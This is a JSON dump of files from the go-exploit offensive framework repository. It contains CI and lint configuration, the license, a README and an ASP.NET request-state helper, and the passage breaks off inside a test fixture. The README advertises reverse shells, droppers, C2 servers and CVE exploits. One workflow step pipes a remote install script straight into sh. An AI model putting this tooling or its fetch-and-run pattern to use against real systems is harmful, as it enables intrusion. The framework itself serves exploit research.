[
  {
    "path": ".github/dependabot.yml",
    "content": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where the package manifests are located.\n# Please see the documentation for all configuration options:\n# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates\n\nversion: 2\nupdates:\n  - package-ecosystem: \"gomod\" # See documentation for possible values\n    directory: \"/\" # Location of package manifests\n    schedule:\n      interval: \"daily\"\n"
  },
  {
    "path": ".github/workflows/go.yml",
    "content": "# This workflow will build a golang project\n# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go\n\nname: Go\n\npermissions:\n  contents: read\n\non:\n  push:\n    branches: [ \"main\" ]\n  pull_request:\n    branches: [ \"main\" ]\n\njobs:\n\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v3\n\n    - name: Set up Go\n      uses: actions/setup-go@v4\n      with:\n        go-version: '1.26.1'\n\n    - name: Install golangci-lint\n      run: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin v2.10.1\n\n    - name: Build\n      run: go build -v ./...\n\n    - name: Lint\n      run: golangci-lint run --fix\n\n    - name: Test\n      run: go test -v ./...\n"
  },
  {
    "path": ".github/workflows/useragent-update.yml",
    "content": "name: User-Agent Update\n\non:\n   workflow_dispatch:\n   schedule:\n     - cron: '0 0 * * 0'\n\npermissions:\n   contents: write\n   pull-requests: write\n\njobs:\n   build:\n     runs-on: ubuntu-latest\n     steps:\n       - name: Checkout Repo\n         uses: actions/checkout@v4\n         with:\n           fetch-depth: 0\n\n       - name: Setup golang\n         uses: actions/setup-go@v4\n         with:\n           go-version: 1.21.x\n\n       - name: Fetch JSONParser\n         run: |\n           go get github.com/buger/jsonparser\n         working-directory: _uaupdate\n\n       - name: Sort UA Data\n         run: |\n           go run .\n         working-directory: _uaupdate\n\n       - name: Reset gomod\n         run: |\n           go mod tidy\n   \n       - name: Create local changes\n         run: |\n           git add protocol/http-user-agent.txt\n       - name: Commit files\n         run: |\n           git config --local user.email \"action@github.com\"\n           git config --local user.name \"GitHub Action\"\n           git commit --allow-empty -m \"HTTP User Agent update\"\n       - name: Create Pull Request\n         uses: peter-evans/create-pull-request@v6\n         with:\n           token: ${{ secrets.GH_TOKEN }}\n           branch: ua-update\n           title: HTTP User-Agent update\n"
  },
  {
    "path": ".gitignore",
    "content": "# If you prefer the allow list template instead of the deny list, see community template:\n# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore\n#\n# Binaries for programs and plugins\n*.exe\n*.exe~\n*.dll\n*.so\n*.dylib\n\n# Test binary, built with `go test -c`\n*.test\n\n# Output of the go coverage tool, specifically when used with LiteIDE\n*.out\n\n# Dependency directories (remove the comment below to include it)\n# vendor/\n\n# Go workspace file\ngo.work\n"
  },
  {
    "path": ".golangci.yml",
    "content": "version: \"2\"\nlinters:\n  enable:\n    - asasalint\n    - asciicheck\n    - bidichk\n    - canonicalheader\n    - containedctx\n    - contextcheck\n    - copyloopvar\n    - cyclop\n    - decorder\n    - dogsled\n    - durationcheck\n    - err113\n    - errchkjson\n    - errname\n    - errorlint\n    - exhaustive\n    - fatcontext\n    - ginkgolinter\n    - gocheckcompilerdirectives\n    - gochecksumtype\n    - gocognit\n    - goconst\n    - gocritic\n    - gocyclo\n    - godot\n    - godox\n    - goheader\n    - gomoddirectives\n    - gomodguard\n    - gosmopolitan\n    - grouper\n    - importas\n    - interfacebloat\n    - intrange\n    - loggercheck\n    - makezero\n    - mirror\n    - misspell\n    - musttag\n    - nakedret\n    - nilerr\n    - nilnesserr\n    - nilnil\n    - nlreturn\n    - nolintlint\n    - nonamedreturns\n    - perfsprint\n    - predeclared\n    - promlinter\n    - protogetter\n    - reassign\n    - recvcheck\n    - revive\n    - rowserrcheck\n    - sloglint\n    - spancheck\n    - sqlclosecheck\n    - staticcheck\n    - tagalign\n    - tagliatelle\n    - testifylint\n    - unconvert\n    - unparam\n    - usestdlibvars\n    - wastedassign\n    - whitespace\n    - wrapcheck\n    - zerologlint\n  settings:\n    cyclop:\n      max-complexity: 25\n  exclusions:\n    generated: lax\n    presets:\n      - comments\n      - common-false-positives\n      - legacy\n      - std-error-handling\n    rules:\n      - linters:\n          - staticcheck\n        path: c2/sslshell/sslshellserver.go\n        text: SA1019\n      - linters:\n          - staticcheck\n        path: c2/httpservefile/httpservefile.go\n        text: SA1019\n      - linters:\n          - staticcheck\n        path: httphelper.go\n        text: SA1019\n      - linters:\n          - staticcheck\n        path: c2/shelltunnel/shelltunnel.go\n        text: SA1019\n      - linters:\n          - staticcheck\n        path: cli/commandline_test.go\n        text: SA1019\n      - linters:\n          - gocognit\n          - gocyclo\n          - cyclop\n        path: protocol/sip/helper_test.go\n    paths:\n      - protocol/mikrotik/msg.go\n      - third_party$\n      - builtin$\n      - examples$\nformatters:\n  enable:\n    - gci\n    - gofmt\n    - gofumpt\n    - goimports\n  exclusions:\n    generated: lax\n    paths:\n      - protocol/mikrotik/msg.go\n      - third_party$\n      - builtin$\n      - examples$\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# How to contribute to go-exploit\n\nThank you for your interest in contributing to go-exploit!\n\n## General Guidance\n\nWhen submitting issues, please ensure they include sufficient information to reproduce the problem. \n\nFor new features, make sure the following is done provided or done:\n\n- A reasonable use case \n- Appropriate unit tests \n- All tests pass\n- Ensure compliance with our `.golangci.yml` without generating any complaints\n- Ensure that linting passes and there is nothing to fix\n\nLinting and testing can be done with:\n\n```sh\ngolangci-lint run --fix\ngo test -v ./...\n```\n\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright 2023 VulnCheck Inc\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "# go-exploit: Go Exploit Framework\n\n[![Go Reference](https://pkg.go.dev/badge/github.com/vulncheck-oss/go-exploit.svg)](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit) [![Go](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml/badge.svg?branch=main)](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/vulncheck-oss/go-exploit)](https://goreportcard.com/report/github.com/vulncheck-oss/go-exploit)\n\n`go-exploit` is an exploit development framework for [Go](https://go.dev/). The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools. For API documentation, check out the package on [pkg.go.dev/github.com/vulncheck-oss/go-exploit](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit).\n\n## Go Exploit Phases\n\nThe Go Exploit Framework includes the following Phases which can be chained or executed independently:\n\n* [Go Exploit Framework Phases](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md)\n    * Step 1 - Target Verification\n    * Step 2 - [Version Scanning](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)\n    * Step 3 - [Exploitation](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md)\n    * Step 4 - [Command & Control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md)\n\n## Go Exploit Features\n\nThe Go Exploit Framework includes these additional features:\n\n* [Auto-detection](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#autodetect-ssl) of SSL/TLS on the remote target.\n* Fully [proxy-aware](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#Proxy).\n* Key-value or JSON [output](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/output.md) for easy integration into other automated systems.\n* Builtin Java [gadgets](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javagadget.go), [classes](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javaclass.go), [LDAP](https://github.com/vulncheck-oss/go-exploit/blob/main/java/ldapjndi/ldapjndi.go), and [serializer](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/java) infrastructure.\n* Builtin dotnet [serializers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/dotnet) and generators.\n* A selection of [multiple network protocol helpers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/protocol#section-directories).\n* Many example [reverse shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/reverse), [dropper](https://github.com/vulncheck-oss/go-exploit/tree/main/payload/dropper), and [bind shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/bindshell) payloads.\n* Functionality that integrates exploitation with other [tools](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using--o) or frameworks like [Metasploit](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using-httpservefile) and Sliver.\n* Builtin [\"c2\"](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) for catching encrypted/unencrypted shells or hosting implants, as well as the [ability to create your own C2 integrations](github.com/vulncheck-oss/external-c2-experiments/).\n* Automatic handling of [custom payloads and commands](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/custom-payloads.md).\n* Supports multiple target [formats](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#providing-targets) including lists, file-based, VulnCheck IP-Intel, and more.\n\nDocumentation for specific features can be found in the [`docs/` directory](https://github.com/vulncheck-oss/go-exploit/tree/main/docs).\n\n## Examples\n\n* [CVE-2025-0364](https://github.com/vulncheck-oss/cve-2025-0364): An example of a go-exploit using complex web application logic for BigAnt CVE-2025-0364.\n* [CVE-2023-22527](https://github.com/vulncheck-oss/cve-2023-22527): Three go-exploit implementations taking unique approaches to Atlassian Confluence CVE-2023-22527.\n* [CVE-2023-25194](https://github.com/vulncheck-oss/cve-2023-25194): Demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka).\n* [CVE-2023-46604](https://github.com/vulncheck-oss/cve-2023-46604): Demonstrates exploiting CVE-2023-46604 and using the go-exploit HTTPServeFile c2.\n* [CVE-2023-36845](https://github.com/vulncheck-oss/cve-2023-36845-scanner): Scans for Juniper firewalls to determine if they are vulnerable to CVE-2023-36845.\n* [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467): A go-exploit implementation of CVE-2023-51467 that lands a Nashorn reverse shell.\n\n## Contributing\n\nCommunity contributions in the form of issues and features are welcome. Please see [our contributors guide in CONTRIBUTING.md](CONTRIBUTING.md).\n\n## License\n\n`go-exploit` is licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). For more details, refer to the LICENSE file.\n\n"
  },
  {
    "path": "_uaupdate/README.md",
    "content": "# Updating the go-exploit HTTP User Agent\n\nThis main.go fetches user agents from the Project Discovery [useragent](https://github.com/projectdiscovery/useragent) package (using the [MIT license](https://github.com/projectdiscovery/useragent/blob/main/LICENSE)), and filters them down to the most recent Windows Chrome User-Agent. The output is written to `./protocol/http-user-agent.txt`.\n\nUsage example:\n\n```console\nalbinolobster@mournland:~/go-exploit/_uaupdate$ go run .\nalbinolobster@mournland:~/go-exploit/_uaupdate$ cat ../protocol/http-user-agent.txt \nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\n```"
  },
  {
    "path": "_uaupdate/main.go",
    "content": "package main\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\nfunc main() {\n\turi := \"https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome\"\n\tresp, body, ok := protocol.HTTPSendAndRecv(\"GET\", uri, \"\")\n\tif !ok {\n\t\treturn\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\toutput.PrintfError(\"Unexpected status code: %d %s\", resp.StatusCode, body)\n\n\t\treturn\n\t}\n\n\t// looking in the body for the latest Chrome on Windows whatever\n\tmatches := regexp.MustCompile(`<li><span class=\"code\">(Mozilla/\\d+.\\d+ \\(Windows NT [^<]+)</span></li>`).FindStringSubmatch(body)\n\tif len(matches) != 0 {\n\t\t_ = os.WriteFile(\"../protocol/http-user-agent.txt\", []byte(matches[1]), 0o644)\n\t}\n}\n"
  },
  {
    "path": "aspnet/aspnet.go",
    "content": "// Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving hidden fields. These are notoriously annoying to automate and require multiple requests per action and often simulate user interaction clicks. The ASPState type helps speed up development of those requests.\n//\n// The package can be used to facilitate chains of go-exploit requests to ASP.NET applications like so:\n//\n//\tstate := aspnet.State{}\n//\tresp, body, ok := protocol.HTTPSendAndRecvWith(\"GET\", conf.GenerateURL(\"/management/AdminDatabase.aspx\"), \"\")\n//\tif !ok {\n//\t\toutput.PrintError(\"Could not retrieve to the admin database endpoint\")\n//\n//\t\treturn false\n//\t}\n//\n//\tstate.Update(body)\n//\n//\t// Now only the parameters that are required can be utilized and no special body parsing\n//\t// for __VIEWSTATE and friends is required.\n//\tp := state.MergeParams(map[string]string{\n//\t\t\"__EVENTTARGET\":                      \"ctl00$MainContent$DatabaseType\",\n//\t\t\"ctl00%24MainContent%24DatabaseType\": \"psql\",\n//\t})\n//\tparams := protocol.CreateRequestParamsEncoded(p)\n//\theaders[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n//\tresp, body, ok = protocol.HTTPSendAndRecvWithHeaders(\"POST\", conf.GenerateURL(\"/management/AdminDatabase.aspx\"), params, headers)\n//\tif !ok {\n//\t\toutput.PrintError(\"Could not POST to the admin database endpoint\")\n//\n//\t\treturn false\n//\t}\n//\n//\t// Update the state from the previous POST response, this time we only want the states and have no content\n//\tstate.Update(body)\n//\tparams := protocol.CreateRequestParamsEncoded(state.AsParams())\n//\tresp, body, ok := protocol.HTTPSendAndRecvWithHeaders(\"POST\", conf.GenerateURL(\"/management/AdminDatabase.aspx\"), params, headers)\n//\tif !ok {\n//\t\toutput.PrintError(\"Could not POST to the admin database endpoint\")\n//\n//\t\treturn false\n//\t}\npackage aspnet\n\nimport (\n\t\"maps\"\n\t\"strings\"\n\n\t\"github.com/antchfx/htmlquery\"\n)\n\n// State represents the current state of the steps in a request chain for a ASP.NET application. The state should have all possible ASP.NET common state values represented and if they are not set in the current request state will be nil. This state struct only covers:\n//   - __VIEWSTATE\n//   - __VIEWSTATEGENERATOR\n//   - __EVENTVALIDATION\n//   - __EVENTARGUMENT\n//   - __EVENTTARGET\n//   - __LASTFOCUS\n//\n// The __EVENTTARGET and __EVENTARGUMENT are purposefully not omitted as there are often multiple or non-state required targets, so ensure they are set to the specific target.\ntype State struct {\n\tViewState          *string\n\tViewStateGenerator *string\n\tEventTarget        *string\n\tEventValidation    *string\n\tEventArgument      *string\n\tLastFocus          *string\n}\n\n// xPathQuiet is similar to search.XPath, but does not trigger framework errors as these can be expected to be empty.\nfunc xPathQuiet(document, path string) (string, bool) {\n\tdoc, err := htmlquery.Parse(strings.NewReader(document))\n\tif err != nil {\n\t\treturn \"\", false\n\t}\n\tn := htmlquery.FindOne(doc, path)\n\tif n == nil {\n\t\treturn \"\", false\n\t}\n\n\treturn htmlquery.InnerText(n), true\n}\n\n// AsParams creates a map structure for use with the protocol package HTTP helpers or in their raw map form. If the last process state did not have one of the parameters it will not be set, but empty string values are preserved.\nfunc (state *State) AsParams() map[string]string {\n\tu := map[string]string{}\n\tif state.ViewState != nil {\n\t\tu[\"__VIEWSTATE\"] = *state.ViewState\n\t}\n\tif state.ViewStateGenerator != nil {\n\t\tu[\"__VIEWSTATEGENERATOR\"] = *state.ViewStateGenerator\n\t}\n\tif state.EventValidation != nil {\n\t\tu[\"__EVENTVALIDATION\"] = *state.EventValidation\n\t}\n\tif state.EventArgument != nil {\n\t\tu[\"__EVENTARGUMENT\"] = *state.EventArgument\n\t}\n\tif state.EventTarget != nil {\n\t\tu[\"__EVENTTARGET\"] = *state.EventTarget\n\t}\n\tif state.LastFocus != nil {\n\t\tu[\"__LASTFOCUS\"] = *state.LastFocus\n\t}\n\n\treturn u\n}\n\n// MergeParams merges the hand written or custom parameters and the ASP.NET state parameters to allow for a single call to protocol.CreateRequestParamsEncoded for both the current state and any modifications that are necessary. The same rules for parameter empty vs not found exist as AsParams. The parameters passed in the function will override the underlying state values if they are passed.\nfunc (state *State) MergeParams(p map[string]string) map[string]string {\n\tparams := state.AsParams()\n\tmaps.Copy(params, p)\n\n\treturn params\n}\n\n// Update the State to extract the supported state values and reset the parameters that are not found. This should be called after each HTTP request that requires state updates. This update only works on the first matched state document and if multiple states are set on the expected page manual updating may be required.\nfunc (state *State) Update(body string) {\n\tv, hasMatch := xPathQuiet(body, `//input[@name=\"__VIEWSTATE\"]/@value`)\n\tif hasMatch {\n\t\tstate.ViewState = &v\n\t} else {\n\t\tstate.ViewState = nil\n\t}\n\tvg, hasMatch := xPathQuiet(body, `//input[@name=\"__VIEWSTATEGENERATOR\"]/@value`)\n\tif hasMatch {\n\t\tstate.ViewStateGenerator = &vg\n\t} else {\n\t\tstate.ViewStateGenerator = nil\n\t}\n\tev, hasMatch := xPathQuiet(body, `//input[@name=\"__EVENTVALIDATION\"]/@value`)\n\tif hasMatch {\n\t\tstate.EventValidation = &ev\n\t} else {\n\t\tstate.EventValidation = nil\n\t}\n\tet, hasMatch := xPathQuiet(body, `//input[@name=\"__EVENTTARGET\"]/@value`)\n\tif hasMatch {\n\t\tstate.EventTarget = &et\n\t} else {\n\t\tstate.EventTarget = nil\n\t}\n\tea, hasMatch := xPathQuiet(body, `//input[@name=\"__EVENTARGUMENT\"]/@value`)\n\tif hasMatch {\n\t\tstate.EventArgument = &ea\n\t} else {\n\t\tstate.EventArgument = nil\n\t}\n\tlf, hasMatch := xPathQuiet(body, `//input[@name=\"__LASTFOCUS\"]/@value`)\n\tif hasMatch {\n\t\tstate.LastFocus = &lf\n\t} else {\n\t\tstate.LastFocus = nil\n\t}\n}\n"
  },
  {
    "path": "aspnet/aspnet_test.go",
    "content": "package aspnet_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/aspnet\"\n)\n\nvar pageState1 = `<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head><meta http-equiv=\"X-UA-Compatible\" content=\"IE=9\" /><meta http-equiv=\"Page-Enter\" content=\"Alpha(opacity=100)\" /><title>\n\tGladinet Cloud Cluster\n</title>\n<body style=\"overflow:hidden;\">\n    <form name=\"aspnetForm\" method=\"post\" action=\"./admindatabase.aspx\" id=\"aspnetForm\">\n<div>\n<input type=\"hidden\" name=\"__EVENTTARGET\" id=\"__EVENTTARGET\" value=\"\" />\n<input type=\"hidden\" name=\"__EVENTARGUMENT\" id=\"__EVENTARGUMENT\" value=\"\" />\n<input type=\"hidden\" name=\"__LASTFOCUS\" id=\"__LASTFOCUS\" value=\"\" />\n<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=\" />\n</div>\n<div>\n\t<input type=\"hidden\" name=\"__VIEWSTATEGENERATOR\" id=\"__VIEWSTATEGENERATOR\" value=\"C73717A7\" />\n\t<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=\" />\n</div>\n</body>\n</html>`\n\nvar pageState2 = `<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head><meta http-equiv=\"X-UA-Compatible\" content=\"IE=9\" /><meta http-equiv=\"Page-Enter\" content=\"Alpha(opacity=100)\" /><title>\n\tGladinet Cloud Cluster\n</title>\n<body style=\"overflow:hidden;\">\n    <form name=\"aspnetForm\" method=\"post\" action=\"./admindatabase.aspx\" id=\"aspnetForm\">\n<div>\n<input type=\"hidden\" name=\"__EVENTTARGET\" id=\"__EVENTTARGET\" value=\"\" />\n<input type=\"hidden\" name=\"__EVENTARGUMENT\" id=\"__EVENTARGUMENT\" value=\"\" />\n<input type=\"hidden\" name=\"__LASTFOCUS\" id=\"__LASTFOCUS\" value=\"\" />\n<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" 